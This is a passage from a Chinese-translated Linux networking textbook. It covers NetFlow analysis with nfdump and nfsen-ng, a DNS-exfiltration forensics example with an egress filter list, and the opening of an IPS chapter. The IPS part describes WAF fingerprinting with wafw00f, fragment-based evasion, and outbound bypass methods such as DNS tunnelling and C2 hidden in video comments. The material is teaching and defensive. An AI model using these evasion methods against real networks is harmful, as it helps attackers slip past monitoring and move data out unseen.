TCP 52.21.117.50:443 <-> 99.254.226.217:44385 20 1120 2
TCP 172.217.1.3:443 <-> 99.254.226.217:18243 0 0 1
TCP 192.168.122.181:57664 <-> 204.154.111.113:443 0 0 1
TCP 192.168.122.201:27517 <-> 52.96.163.242:443 60 4980 4
UDP 8.8.8.8:53 <-> 192.168.122.151:64695 0 0 1
TCP 23.213.188.93:443 <-> 99.254.226.217:39845 0 0 1
TCP 18.214.243.14:443 <-> 192.168.122.151:60020 20 1040 2
TCP 40.100.163.178:443 <-> 99.254.226.217:58221 10 2280 2

让我们查看来自一个 IP 地址的流量:

$  nfdump -b -s ip:192.168.122.181 -R /var/cache/nfdump | grep -v 1970
Command line switch -s overwrites -a
Top 10 IP Addr ordered by -:
Date first seen          Duration Proto           IP Addr    Flows(%)     Packets(%)       Bytes(%)         pps       bps   bpp
2021-06-21 21:42:19.468   256.124 UDP      34.239.237.116        2( 0.0)       20( 0.0)     1520( 0.0)        0       47    76
2021-06-21 21:29:40.058    90.112 TCP      204.79.197.219        4( 0.1)       80( 0.0)    12000( 0.0)        0     1065   150
2021-06-21 21:31:15.651   111.879 TCP      204.79.197.204        6( 0.1)      110( 0.0)    44040( 0.0)        0     3149   400
2021-06-21 21:39:42.414    58.455 TCP      204.79.197.203        7( 0.1)      150( 0.0)    92530( 0.0)        2    12663   616
2021-06-21 21:28:21.682  1046.074 TCP      204.79.197.200       18( 0.2)      570( 0.1)   288990( 0.1)        0     2210   507
2021-06-21 21:31:24.158    53.392 TCP     209.191.163.209       13( 0.2)      180( 0.0)    86080( 0.0)        3    12897   478

数据已经包装,但您可以看到这变得越来越有用。这不是完整的数据包捕获,但在许多天里,这是您可能需要的所有数据包捕获信息!

-s(统计)参数非常有用,因为您可以查询扩展元组中收集的任何可能的 NetFlow 信息。-A允许您在相同的扩展信息上进行聚合,而-a仅在基本的 5 元组上进行聚合。请注意,当您设置了-b时,您无法对源 IP 或目标 IP 进行聚合(因为-b已经对这两个进行了聚合)。

通常,您需要收集特定时间窗口的信息;也就是说,在出现问题或症状时。在这些情况下,-t(timewin)是您的朋友-让我们在 21:31 和 21:32 之间查看,仍然只针对该 IP 地址。再次注意,您需要根据您的日期和流量模式进行修改:

$  nfdump -b -s ip:192.168.122.181 -t 2021/06/21.21:31:00-2021/06/21.21:32:59 -R /var/cache/nfdump
Command line switch -s overwrites -a
Top 10 IP Addr ordered by -:
Date first seen          Duration Proto           IP Addr    Flows(%)     Packets(%)       Bytes(%)         pps       bps   bpp
2021-06-21 21:32:43.075     0.251 IGMP         224.0.0.22        1( 0.1)       20( 0.0)      920( 0.0)       79    29322    46
2021-06-21 21:32:09.931     0.000 UDP     239.255.255.251        1( 0.1)       10( 0.0)      640( 0.0)        0        0    64
2021-06-21 21:31:07.030    47.295 UDP     239.255.255.250        4( 0.3)       60( 0.1)    18790( 0.0)        1     3178   313
2021-06-21 21:31:15.651     0.080 TCP      204.79.197.204        3( 0.2)       60( 0.1)    21220( 0.0)      750    2.1 M   353
2021-06-21 21:31:24.158    53.392 TCP     209.191.163.209       13( 0.9)      180( 0.2)    86080( 0.1)        3    12897   478
2021-06-21 21:31:09.920     0.252 TCP      52.207.151.151        4( 0.3)      170( 0.2)   142280( 0.2)      674    4.5 M   836
2021-06-21 21:32:12.799    11.421 TCP       52.95.145.171        7( 0.5)      110( 0.1)    22390( 0.0)        9    15683   203
2021-06-21 21:31:53.512     0.054 TCP     162.159.136.232        4( 0.3)       50( 0.1)     5250( 0.0)      925   777777   105
2021-06-21 21:31:11.890    51.148 TCP        209.15.45.65        5( 0.4)       60( 0.1)    32020( 0.1)        1     5008   533
2021-06-21 21:31:07.531    69.964 TCP        69.175.41.15       22( 1.6)      460( 0.5)   222720( 0.4)        6    25466   484
Summary: total flows: 1401, total bytes: 58.9 M, total packets: 85200, avg bps: 4.0 M, avg pps: 716, avg bpp: 691
Time window: 2021-06-21 21:26:17 - 2021-06-21 21:58:40
Total flows processed: 8052, Blocks skipped: 0, Bytes read: 516768
Sys: 0.003s flows/second: 2153517.0  Wall: 0.002s flows/second: 3454311.5 

在一条命令行中,我们总结了一个主机在 2 分钟内进出的所有流量!

在我们的基本功能正常工作后,让我们安装收集器的 Web 界面。这是 NetFlow 数据最常见的消耗方式-通过眼睛很容易看到协议模式中的异常。

以下说明来自github.com/mbolli/nfsen-ng(正在安装的应用程序是nfsen-ng):

首先,让我们提升我们的权限到 root-几乎这里的所有内容都需要这些权限:

sudo su -

安装我们需要的所有软件包:

apt install apache2 git nfdump pkg-config php7.4 php7.4-dev libapache2-mod-php7.4 rrdtool librrd-dev

启用 Apache 模块:

a2enmod rewrite deflate headers expires

为 PHP 安装rrd库:

pecl install rrd 

配置 RRD 库和 PHP:

echo "extension=rrd.so" > /etc/php/7.4/mods-available/rrd.ini
phpenmod rrd

配置虚拟主机以便它可以读取.htaccess文件。编辑/etc/apache2/apache2.conf文件,并编辑/var/www部分中的Allow Override行:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

最后,重新启动 Apache 服务器:

systemctl restart apache2

现在,我们准备安装nfsen-ng并设置文件/目录标志:

cd /var/www/html
git clone https://github.com/mbolli/nfsen-ng
chown -R www-data:www-data .
chmod +x nfsen-ng/backend/cli.php

仍然使用 root 权限,将默认设置复制到设置文件:

cd /var/www/html/nfsen-ng/backend/settings
cp settings.php.dist settings.php

编辑生成的settings.php文件。

nfdump部分,更新以下行以匹配:

    'nfdump' => array(
        'profiles-data' => '/var/cache/nfdump/',
        'profile' => '',

请注意,您可以更改这一点,特别是如果您计划按nfdump文件的日期进行日志轮换,但这不是我们目前的范围。

现在,让我们测试我们的配置(仍然作为 root 用户):

cd /var/www/html/nfsen-ng/backend
./cli.php -f import
2021-06-22 09:03:35 CLI: Starting import
Resetting existing data...
Processing 2 sources...                                         0.0% 0/2194 ETC: ???. Elapsed: < 1 sec [>                              ]
Processing source source1 (1/2)...
Processing 2 sources...                                 50.0% 1097/2194 ETC: < 1 sec. Elapsed: < 1 sec [===============>               ]
Processing source source2 (2/2)...
Processing 2 sources...                                100.0% 2194/2194 ETC: < 1 sec. Elapsed: < 1 sec [===============================]

如果这个过程没有错误,您的配置将看起来很好!

现在,将各种网络设备指向将它们的 NetFlow 结果发送到此主机的 IP 地址,端口为2055/udp(请注意,您可以通过编辑/etc/nfdump/default.conf来更改此监听端口)。

让我们收集一些数据。您可以通过观察目标目录中的文件大小来验证它是否正常工作。一个“空”文件大小为 276 字节,但一旦开始接收数据,您应该会看到更大的文件。

现在,浏览到您的服务器。由于我们在 apache 中没有做任何花哨的东西,您的 URL 将如下:

http://<your server's IP address>/nfsen-ng/frontend/ 

现在,让我们看看图形方面的东西。浏览到您的服务器 IP 地址 - URL 应该看起来像192.168.122.113/nfsen-ng/frontend/。当然,您可以通过配置 Apache 重新指向主页来简化此 URL。

您的显示现在应该看起来像这样(您的数据值将有所不同):

图 12.23 - 图形显示中的基本流数据,带有 NFSen 中的显示/过滤控件

图 12.23 - 图形显示中的基本流数据,带有 NFSen 中的显示/过滤控件

一个好的方法是选择一个合理的时间尺度,然后使用滑块来扩大或缩小窗口。在这种情况下,我们从一个 24 小时的图表开始,最终显示了大约 6 小时。

这个显示通常会突出显示可能引起关注的时间 - 您可以在这些时间上“放大”这个图表以获得更多细节。

下一站将是流量按钮(在显示的右上角)。在这里,一个合理的起始窗口将是一个很好的选择。接下来,选择各种聚合。

通常,您会希望使用目标端口聚合进行协议聚合。接下来,您通常会希望将 IP 地址按源 IP 和目标 IP 进行聚合。添加 NFDUMP 过滤器以获取确切的时间窗口通常也很有帮助。如果可能的话,您可以将显示限制在尽可能短的时间内 - 如果可能的话,几分钟内,您将从这些显示中获得最大的价值:

图 12.24 - NFSen 中聚合和过滤的流显示控件

图 12.24 - NFSen 中聚合和过滤的流显示控件

最终的选择将取决于您要解决的问题,可能需要尝试几次才能获得您需要的显示以进行最终诊断。

当您的选择完成后,选择处理数据以在屏幕的下半部分获得结果:

图 12.25 - NFSen 中的过滤结果

图 12.25 - NFSen 中的过滤结果

您可能希望将其导出为 CSV,以便在电子表格中进一步操作您的数据。

在真实的事件中,这是什么样子?让我们打开默认窗口,在那里我们会注意到流量可能可疑的“峰值”。我们还可以从帮助台或桌面团队那里获得这个时间段,他们可能有取证信息,IPS 事件(见[第十三章](B16336_13_Final_NM_ePub.xhtml#_idTextAnchor236),Linux 上的入侵防范系统),或来自桌面保护应用程序或反恶意软件应用程序的事件。在这个每日视图中,我们可以看到在下午 2:30 之前出现了一个可疑的峰值。请注意,我们使用滑块来放大感兴趣的时间窗口。还要注意,我们正在查看“流量”或“字节”视图 - 数据外泄通常只会发生在一两个流中,因此这些攻击通常会在默认显示中显眼:

图 12.26 - 发现异常流量“峰值”

图 12.26 - 发现异常流量“峰值”

让我们切换到协议显示并稍微浏览一下。在这个显示中,我们已经将事情简化,只显示 UDP,我们可以看到一些可疑的东西 - 这种 UDP 流量的数量对于这个组织来说并不正常:

图 12.27 - 协议显示中的显示调整,仅显示 UDP

图 12.27 - 协议显示中的显示调整,仅显示 UDP

有了那个在 14:20 出现的可疑流量峰值,让我们深入一点。让我们添加一个 nfdump 过滤器来查看 UDP,但提取我们在内部 DNS 服务器上配置的所有 DNS 转发器的请求:

图 12.28 – UDP 搜索结果 – 删除合法的 DNS 流量

图 12.28 – UDP 搜索结果 – 删除合法的 DNS 流量

现在,让我们深入挖掘一下,只看那个可疑的 IP 地址:

图 12.29 – 过滤可疑 IP 地址

图 12.29 – 过滤可疑 IP 地址

这给我们以下结果,显示了防火墙上 NAT 之前和之后的相同传输,除了这一大数据传输之外没有其他流量:

图 12.30 – 防火墙上 NAT 之前和之后的可疑流量

图 12.30 – 防火墙上 NAT 之前和之后的可疑流量

观察53/udp中的总数,我们知道这通常用于 DNS。

使用 DNS,甚至可以使用有效的查询来外泄数据 – 首先,使用 base64 对数据进行编码,然后以已知的“块”大小进行顺序的“A”记录查询。接收服务器然后重新组装数据并将其解码为原始的二进制格式。如果担心数据包的顺序问题,甚至可以将序列号编码到传输中。

既然我们发现了这次攻击,我们如何在网络层面进行防御呢?

一个很好的起点是为出站流量创建一个合理的访问列表,通常称为出口过滤器。它可能是这样工作的:

  • 允许从我们的 DNS 服务器到它们已知的转发器 IP 的53/udptcp

  • 拒绝所有其他的53/udptcp,并将该流量记录为警报。

  • 允许sshscpftp和其他已知的流量通过协议和端口到已知的目标主机。

  • 拒绝所有其他主机的这些协议,并将其记录为警报。

  • 允许 HTTP 和 HTTPS 到任何 IP(但另外增加一层保护,也许是声誉过滤或内容控制)。

  • 拒绝所有其他流量,并将该流量记录为警报。

关键是总会有“下一次攻击” – 但是记录和警报你知道的攻击通常至少会在攻击开始时给你一些警告,通常足够让你采取行动,防止攻击者达到最终目标。

到目前为止,您对使用 NFDUMP 和 NFSEN 组合有一些了解。但是还有哪些开源 NetFlow 收集器应用程序可供您选择?

其他开源 NetFlow 替代方案

nProbe 是由 ntop 团队编写的,托管在www.ntop.org/products/netflow/nprobe/#。这允许您在任何主机上安装 NetFlow 收集器。ntop 工具(www.ntop.org/products/traffic-analysis/ntop/)是他们的收集器,在 NetFlow 流行之前就为我们提供了许多 NetFlow 的好处,但使用了数据包捕获和分析方法。它已经扩展到支持所有版本的 NetFlow 和 IPFIX。选择 ntop 最吸引人的因素是它是一个单一的安装,所有东西都打包在一起 – 大部分繁琐的配置都已经处理好了。它还以更详细的方式分解数据,甚至在初始的图形界面上也是如此。不足之处是没有命令行工具集;它是一个“一体化”的应用程序,提供了一个网页/图形界面。ntop 工具套件是免费下载的。在这个免费级别上,它通过论坛和“尽力而为”的邮件列表享有“社区支持”。

互联网级别知识系统SILK)是最古老的流量收集工具之一,但它仍然支持所有较新的协议。它由 CERT 的网络态势感知组开发,文档和下载托管在这里:tools.netsa.cert.org/silk/。SILK 是一个免费工具,没有商业提供。

说到这一点,这个领域还有哪些商业产品?

商业产品

几乎每个拥有商业 NMS 的供应商都会有一个流量收集模块与该 NMS 相配套。然而,当你深入研究他们的文档时,几乎所有的供应商都只建议你在与 SNMP 和 syslog 功能相同的服务器上部署流量收集。正如我们之前讨论的,随着流量数据量的增长和数据保留时间的增加,流量收集服务往往会压倒已经繁忙的系统。此外,由于大多数流量收集服务对数据库的依赖性,通常会看到人们不得不定期清除数据,作为修复破损的流量收集服务器的“当所有其他故障排除失败时”的步骤。这些因素往往会迅速导致 NetFlow 或其相关服务在大多数组织中被移至自己的服务器和数据库。

话虽如此,在商业产品中,你经常会看到更多关于应用程序“外观和感觉”的工作。例如,当为 NetFlow 添加设备接口时,接口名称通常会从接口的description值中读取,并且图表的最大带宽将最初从接口的吞吐量值或路由器的“带宽”度量(如果设置)中设置。图表通常会包括应用程序名称和工作站名称,甚至用户 ID。图表还将从一开始就深入到目标端口值和数据速率,因为那通常是你想要最终到达的地方。总的来说,大多数商业产品往往更容易设置,无论是在初始应用程序还是在添加设备时。

总结

在这一点上,你应该意识到可以从各种系统的日志中收集到大量有用的数据,以及如何使用命令行工具来“挖掘”这些数据,以找到可以帮助你解决特定问题的信息。日志警报的使用也应该是熟悉的领域,允许你在问题的早期阶段主动发送警报。

然后,介绍了 Dshield 项目。我们欢迎你的参与,但即使你不贡献数据,它也可以成为一个快速的“互联网天气报告”的宝贵资源,以及有助于定义“互联网气候”的趋势,就恶意流量(按端口和协议)而言。

你现在应该熟悉 SNMP 的工作原理,以及如何使用基于 SNMP 的 NMS 来管理网络设备甚至 Linux 或 Windows 服务器的性能指标。我们在示例中使用了 LibreNMS,但几乎任何你可能使用的 NMS 的方法甚至实现都会非常相似。

在更高级别上,你应该对 NetFlow 协议非常熟悉,包括在网络设备和 Linux 收集器上配置它。在本章中,我们使用 NetFlow 作为侦探工具,对网络流量进行高级取证,以找到可疑的流量,最终找到恶意数据外泄事件。

在下一章中,我们将探讨入侵防范系统(IPS),这将建立在本书的几章材料基础上,以寻找并经常阻止恶意网络活动。

问题

在我们结束时,这里有一些问题供你测试对本章材料的了解。你可以在附录评估部分找到答案:

  1. 为什么启用 SNMP 的读写社区访问是一个坏主意?

  2. 使用 Syslog 的风险是什么?

  3. NetFlow 也是一个明文协议。这会带来什么风险?

进一步阅读

有关本章内容的更多信息,请参阅以下资源:

  1. datatracker.ietf.org/doc/html/rfc3411

  2. datatracker.ietf.org/doc/html/rfc3412

  3. datatracker.ietf.org/doc/html/rfc3413

  4. datatracker.ietf.org/doc/html/rfc3415

  5. datatracker.ietf.org/doc/html/rfc3416

  6. datatracker.ietf.org/doc/html/rfc3417

  7. datatracker.ietf.org/doc/html/rfc3418

  1. datatracker.ietf.org/doc/html/rfc3414

  2. datatracker.ietf.org/doc/html/rfc6353

常用的 SNMP OID

  • 监控路由器 CPU:1.3.6.1.4.1.9.2.1.58.0

  • 监控路由器内存:1.3.6.1.4.1.9.9.48.1.1.1.6.1

  • 1.3.6.1.2.1.1

  • 接口:1.3.6.1.2.1.2

  • IP:1.3.6.1.2.1.4

  • 内存:1.3.6.1.2.1.4.1.9.9.48

  • CPU:1.3.6.1.2.1.4.1.9.9.109

  • 防火墙:1.3.6.1.2.1.4.1.9.9.147

  • 缓冲区:1.3.6.1.2.1.4.1.9.9.147.1.2.2.1

  • 连接:1.3.6.1.2.1.4.1.9.9.147.1.2.2.2

  • SSL 统计:1.3.6.1.4.1.3076.2.2.26

  • IPSec 统计:1.3.6.1.2.1.4.1.9.9.171

  • 远程访问统计:1.3.6.1.2.1.4.1.9.9.392

  • FIPS 统计:1.3.6.1.2.1.4.1.9.9.999999

  • PIX/ASA 防火墙中的活动连接:1.3.6.1.4.1.9.9.147.1.2.2.2.1.5.40.7

  • 当前活动的 IPsec Phase-2 隧道总数:1.3.6.1.4.1.9.9.171.1.3.1.1.0

您将需要以下 MIB:

  • IF-MIB,RFC1213-MIB,CISCO-MEMORY-POOLMIB,CISCO-PROCESS-MIB,ENTITY-MIB,CISCO-SMI,CISCO-FIREWALL-MIB。ASA 还添加了 CISCO-IPSEC-FLOW-MONITOR-MIB,CISCO-FIPS-STAT-MIB 和 ALTIGA-SSL-STATS-MIB。

  • 堆叠交换机的序列号:1.3.6.1.2.1.47.1.1.1.1.11.1

  • 堆叠交换机的 IOS 版本:1.3.6.1.2.1.47.1.1.1.1.9.1

  • 路由器上的 ARP 缓存:1.3.6.1.2.1.3.1.1.2

  • 接口的最后状态更改:1.3.6.1.2.1.2.2.1.9。[接口编号]

第十三章:Linux 上的入侵防范系统

在本章中,我们将在数据包捕获和日志记录的基础上,探讨 Linux 平台上的入侵防范选项。入侵防范系统IPS)确切地做了它听起来的事情-它监视流量,并且要么警报要么阻止可疑或已知的恶意流量。这可以通过各种方式来实现,具体取决于您要监视的流量。

特别是,我们将涵盖以下主题:

  • 什么是 IPS?

  • 架构/IPS 位置

  • Linux 的经典 IPS 解决方案-Snort 和 Suricata

  • IPS 回避技术

  • Suricata IPS 示例

  • 构建 IPS 规则

  • 被动流量监控

  • Zeek 示例-收集网络元数据

让我们开始吧!

技术要求

在本章的示例中,我们将使用预打包的虚拟机,基于Suricata-Elasticsearch-Logstash-Kibana-ScuriusSELKS)或 Security Onion(两种不同的预打包 Linux 发行版)。与我们的数据包捕获示例一样,IPS 解决方案通常针对捕获的流量进行操作,因此您可能需要参考第十一章Linux 中的数据包捕获和分析,以确保您具有适当的 SPAN 端口配置。然而,IPS 解决方案通常与数据包流一起运行,通常具有一些解密功能-因此,您可能会发现自己更多地将架构与我们在第十章中的负载均衡器示例进行比较,Linux 的负载均衡器服务

由于 IPS 安装经常更改,这反映在这两个发行版的安装中。因此,在本章中,我们不会详细介绍安装软件包等内容,请参考在线安装,以了解您想在实验室中探索的任何解决方案。或者,像往常一样,您可以选择跟随我们在本章中进行。虽然您可能确实想要实施我们将在本章中讨论的一些工具,但它们大多是复杂的-例如,您可能不想构建一个测试 IPS,直到您接近为生产构建一个 IPS。

什么是 IPS?

IPS 始于 20 世纪 90 年代的入侵检测系统。从一开始(早在 20 世纪 90 年代),最常用的 IDS/IPS 产品是 Snort,它仍然是一个产品(开源和商业),许多其他现代 IPS 产品现在都是基于它的。

IPS 监视已知攻击的网络流量,然后阻止它们。当然,在这个过程中有一些失败:

  • 列举恶意行为是一个不错的失败命题,这是反病毒行业长期以来意识到的。无论您为何种签名模式列举,攻击者都可以进行相同的攻击,只需稍作修改即可逃避基于签名的检测。

  • 误报是这些产品的一个负担。如果它们没有正确配置,签名可能会错误地标记正常流量为恶意并将其阻止。

  • 在光谱的另一端,如果配置过于宽松,很容易不会警报或阻止攻击流量。

正如您所看到的,部署 IPS 通常需要频繁的调整。幸运的是,现代 IPS 系统通常设置了良好的默认值,可以阻止已知攻击的合理部分,并且存在误报。

调整组织的规则时,通常会看到每个规则都有一个严重性评级,这给您一些关于相关攻击有多严重的指示。规则还将具有忠实度评级,告诉您规则在检测攻击方面有多“可靠”,即这个规则在正常流量中误报的可能性有多大。您通常可以使用这两个评级来决定在您的情况下启用哪些规则。

既然我们已经提供了 IPS 解决方案的一些背景,让我们看看您可能希望在数据中心中插入 IPS 的位置。

架构选项 - 入侵防御系统在数据中心的位置?

在数据中心中放置入侵防御系统是一个重要的决定,因此我们将在提供入侵防御系统/入侵检测系统历史的同时讨论这个决定。

回顾过去,数据中心配置为“脆壳,软心”架构。换句话说,保护重点放在边缘,以防范外部攻击。内部系统大多是受信任的(通常是过于信任)。

这将使入侵检测系统处于边缘位置,通常在 SPAN 端口或网络监听器上。如果您回顾我们在《第十一章》中讨论的监听选项,Linux 中的数据包捕获和分析,如果以这种方式部署,通常是单向监听,电气上阻止入侵检测系统发送流量。这是为了最大程度地减少入侵检测系统本身可能被 compromise 的可能性。

第二个受信任的接口将用于管理入侵检测系统。

这种配置逐渐发展,最终包括入侵检测系统发送RSTTCP 复位)数据包给攻击者、防御者或两者,以终止任何攻击流量,如下图所示:

图 13.1 - 入侵防御系统位于防火墙外部,SPAN 端口用于流量收集,并发送 RESET 数据包以阻止检测到的攻击

图 13.1 - 入侵防御系统位于防火墙外部,SPAN 端口用于流量收集,并发送 RESET 数据包以阻止检测到的攻击

随着攻击变得更加被理解和互联网变得更加敌对,这种配置也发生了变化。在互联网上观察恶意流量变得不再那么有效,因为观察外部流量很可能只会产生持续的警报,因为攻击者开始将恶意软件和相关攻击商品化。

您仍然希望监视入站攻击,但在可能的情况下,您只希望监视可以应用于任何给定主机的攻击。例如,如果您的防火墙只允许邮件流量进入邮件服务器,那么寻找并警报针对该主机的基于网络的攻击就不再有意义。有了这种入站攻击的方法,我们现在看到入侵检测系统和入侵防御系统更频繁地部署在防火墙后面。

在同一时间段,我们开始看到恶意软件更多地通过电子邮件分发 - 特别是作为办公文档中的宏。有效地保护组织免受这些攻击变得困难,特别是因为许多组织已经围绕宏构建了工作流程,并拒绝禁用它们。这意味着非常有效地寻找来自受 Compromise 的工作站和服务器的出站流量,这将表明攻击成功。通常,这种流量采取命令和控制C2)流量的形式,其中受 Compromise 的工作站联系攻击者以获取下一步的指示:

图 13.2 - 防火墙内部的入侵防御系统检测 C2 流量。此外,一些互联网“噪音”被过滤掉

图 13.2 - 防火墙内部的入侵防御系统检测 C2 流量。此外,一些互联网“噪音”被过滤掉

加密的兴起意味着将入侵防御系统置于半被动模式变得越来越不够有效。为了有效地检测攻击流量,在今天的互联网上,至少有一部分需要被解密。这意味着入侵防御系统必须处于线路中,通常在防火墙上运行。这种架构的变化与更便宜的处理器相配,使人们能够为他们的防火墙分配更多的 CPU(通常还有匹配的磁盘和内存)。

对于入站流量,这意味着 IPS 现在托管与目标服务器匹配的证书。它在 IPS 上解密,检查可疑内容,然后转发(通常重新加密)如果它得到绿灯。这应该看起来很熟悉,因为当我们讨论第十章中的负载均衡器时,我们讨论了一个非常相似的架构,Linux 的负载均衡器服务

图 13.3-周边防火墙上的 IPS。Web 服务器证书允许入站 HTTPS 解密

图 13.3-周边防火墙上的 IPS。Web 服务器证书允许入站 HTTPS 解密

出站解密要复杂一些。为了使其工作,IPS 需要托管在其上的证书颁发机构CA),内部工作站必须信任。当出站流量传输时,IPS 动态创建目标的证书,这就是用户现在在浏览器中查看的 HTTPS 证书。

这允许 IPS 解密出站流量。然后,从 IPS 到目标主机的出站流量将按照新的加密会话正常进行,使用目标主机上的真实证书。

当检测到攻击时,任何产生的警报都将具有客户工作站的 IP 地址。在 Windows/Active Directory 环境中,通常,IPS 将具有一个匹配的“代理”,用于监视每个域控制器的安全日志。这允许 IPS 将 IP 地址与在任何给定时间在该站点上使用的用户帐户名称进行匹配。

如果 IPS 和防火墙共享一个公共平台,这也允许防火墙根据用户帐户、组、证书信息(其中包括域名和通常是目标主机的 FQDN),以及基于源和目标 IP 地址、端口等的传统规则添加规则:

图 13.4-周边防火墙上的 IPS。CA 证书允许出站客户端流量解密

图 13.4-周边防火墙上的 IPS。CA 证书允许出站客户端流量解密

在同一时间,IPS 的一个特殊情况也在增长,被称为Web 应用防火墙WAFs)。这些是主要专注于入站基于 Web 的攻击的设备。随着互联网几乎完全转向用于 Web 目的地的 HTTPS 内容,这些 WAF 解决方案也需要解密来检测大多数攻击。

起初,这些 WAF 解决方案采用专用设备的形式,但后来已经转变为大多数负载均衡器上可用的功能。最常见的开源 WAF 解决方案包括 ModSecurity(适用于 Apache 和 Nginx),但还有许多其他解决方案:

图 13.5-入站 IPS(WAF)和解密托管在负载均衡器上,防火墙内

图 13.5-入站 IPS(WAF)和解密托管在负载均衡器上,防火墙内

WAF 解决方案的主要问题与我们在传统 IPS 中看到的问题相同-覆盖范围要么太过激进,要么太过松散。在光谱的一端,有一些 WAF 解决方案不需要太多的配置-这些解决方案倾向于保护特定攻击,如跨站脚本或 SQL 注入,其中语法通常是可预测的,但不包括其他常见攻击。在光谱的另一端,我们有一些产品需要针对应用程序中的各个字段进行配置,以全面验证输入。这些产品工作得很好,但需要与应用程序匹配,因为更改和新功能的实施。如果不这样做,应用程序可能会被用来保护它的工具破坏。

新的 WAF 选项考虑到较大的基于云的网站通常不使用负载均衡器设备或防火墙。在某些情况下,它们通过内容交付网络CDN)提供其内容,但即使它们直接从较大的云服务提供商中运行,它们也可能在互联网上。此外,对于上行速率为 10、40 或 100 Gbps 的较大站点,WAF 设备解决方案的扩展性并不那么好。

对于这些站点,防火墙被推送到主机本身(正如我们在第四章中讨论的那样,Linux 防火墙),WAF 也移动到主机上。在这里,每个主机或容器都成为一个独立的工作单元,扩展站点的容量只是添加另一个工作单元的问题。

对于这些情况,我们的 WAF 已经演变成了运行时应用自我保护RASP)解决方案。顾名思义,RASP 软件不仅在与应用程序相同的平台上,而且与应用程序更紧密地联系在一起。RASP 代码出现在站点的每个页面上,通常作为一个简单的标记,每个页面都加载 RASP 组件。这不仅可以防止已知攻击,而且在许多情况下,还可以防止“异常”输入和流量,甚至防止站点或站点代码被修改:

图 13.6–云 Web 服务托管本地防火墙和 RASP IPS 解决方案

图 13.6–云 Web 服务托管本地防火墙和 RASP IPS 解决方案

这些 RASP 解决方案已被证明非常有效,它们正在取代许多企业站点中的传统 WAF 产品。在这些情况下,防火墙通常位于周边而不是主机上:

图 13.7–RASP 在企业环境中显示了周边防火墙

图 13.7–RASP 在企业环境中显示了周边防火墙

RASP 解决方案包括在自由/开源方面的 OpenRASP,以及商业方面的 Signal Sciences 或 Imperva 等产品。

现在您对各种 IPS 系统有了一些背景知识,让我们花点时间从攻击者或渗透测试人员的角度来看一下它们。

IPS 规避技术

入站规避利用 IPS(基于 Linux)解释恶意数据包和数据流的方式与目标解释这些数据包的方式之间的差异。这对传统 IPS 系统和 WAF 系统都是如此。

检测 WAF

对于 WAF,攻击者知道 WAF 正在起作用以及其基础是很方便的。Wafw00f 是一个很好的起点。Wafw00f 是一个免费的扫描程序,可以检测超过 150 种不同的 WAF 系统,其中许多也是负载均衡器。它是用 Python 编写的,托管在github.com/EnableSecurity/wafw00f,但也打包在 Kali Linux 中。

通过测试一些站点,我们可以看到托管提供商托管的不同 WAF 解决方案:

└─$ wafw00f isc.sans.edu
[*] Checking https://isc.sans.edu
[+] The site https://isc.sans.edu is behind Cloudfront (Amazon) WAF.
[~] Number of requests: 2
└─$ wafw00f www.coherentsecurity.com
[*] Checking https://www.coherentsecurity.com
[+] The site https://www.coherentsecurity.com is behind Fastly (Fastly CDN) WAF.
[~] Number of requests: 2

对于第三个站点,我们可以看到一个商业 WAF(也是基于云的):

└─$ wafw00f www.sans.org
 [*] Checking https://www.sans.org
[+] The site https://www.sans.org is behind Incapsula (Imperva Inc.) WAF.
[~] Number of requests: 2

正如我们所指出的,如果您知道正在使用哪种 WAF,那么您就有更好的机会规避该 WAF。当然,如果您是攻击者或渗透测试人员,您仍然必须 compromise WAF 后面的网站,但这是另一回事。

由于入站目标通常是 Web 服务器,而且通常也是 Windows 主机,因此这些流量上的规避通常利用处理分段数据包。

分段和其他 IPS 规避方法

人为分段数据包,然后以无序方式发送它们,并且在某些情况下,发送具有不同信息的重复片段号码是规避或检测 IPS 的一种常用方法。

这利用了 IPS 操作系统(通常是 Linux 变体)处理片段的方式与操作系统背后的主机处理片段的方式之间的差异,后者可能是完全不同的操作系统。

即使是简单地将maliciousdomain.com分解为maliciousdomain.com也可能产生重大影响,如果 IPS 根本不重新组装片段。然而,更常见的是,你会看到一系列类似于以下的数据包片段:

攻击者的目标是管理重复片段的重新组装方式。如果 Linux 将其重新组装为MalicASDFdomain.com,而 Windows 将其重新组装为mailicousdomain.com,那么攻击者就有了一种通过基于 Linux 的 IPS 从恶意域渗透或向其渗透的方法。大多数现代 IPS 将以几种不同的方式重新组装片段,或者将识别目标主机的操作系统,并根据那个操作系统进行重新组装。

这是一种较早的攻击,由Dug Song在他的fragroute工具中在 21 世纪初首创。虽然这个工具在配置正确的现代 IPS 上将不再起作用,但一些供应商在其商业产品中默认情况下没有启用片段重组的正确设置。因此,虽然它不应该起作用,但对于渗透测试人员来说,有时尝试一下总是一个方便的事情,因为有时候你会幸运地绕过 IPS。

出站逃避通常会利用在安装和配置 IPS 时做出的决定;以下是一些例子:

  • IPS 系统可能会绕过任何看起来像 Windows 更新的东西 - 这可以让攻击者使用 BITS 协议绕过 IPS 来传输文件。

  • 有时,出于性能原因,流媒体服务将被绕过。这种设置可以让攻击者将 C2 信息嵌入到特定 YouTube 视频的评论中。

  • 如果没有进行解密,攻击者可以简单地使用 HTTPS 并顺利通过,只要他们的外部主机没有被其 IP 或 DNS 名称标记为可疑。

  • 即使解密正在进行,如果攻击者使用有效的固定证书,解密将失败,这通常意味着 IPS 将退回到“允许”而不是“拒绝”的响应。

  • 总会有一些协议在解密和重新签名机制方面处理得不好;这些也经常是选项。

  • “自行加密”也是我们看到攻击者使用的一种方法。

  • 使用 DNS 进行数据隧道传输也是一个古老的选择。你可以简单地在端口53/udp上传输数据,你会惊讶地发现这种方法经常有效,即使数据包本身看起来与 DNS 数据包完全不同。然而,即使 IPS 检查 DNS 数据包以确保有效性,你也可以使用有效的 DNS 查询来传输大量数据 - 尤其是对于入站传输(数据在TXT响应中)特别是TXT查询,或者对于出站查询(数据在被查询的 DNS 主机名中)特别是A查询。

  • 或者,最常见的是,攻击者将简单地使用C 和 C 框架来建立他们的通道。有几种选项可供选择,商业、盗版或开源工具的受欢迎程度会不断变化,取决于它们在任何特定时间的有效性。

长话短说,如果你的 IPS 不理解特定的数据流,你可能会考虑将其设置为阻止该流量。这种方法会阻止一些生产流量,但你会发现这是一个需要权衡的持续的紧绷绳索,权衡你所保护的社区的需求与 IPS 的有效性。

在攻击者的角度得到了涵盖(至少在高层次上),让我们来看一些实际应用 - 从网络 IDS/IPS 系统开始。

经典/基于网络的 IPS 解决方案 - Snort 和 Suricata

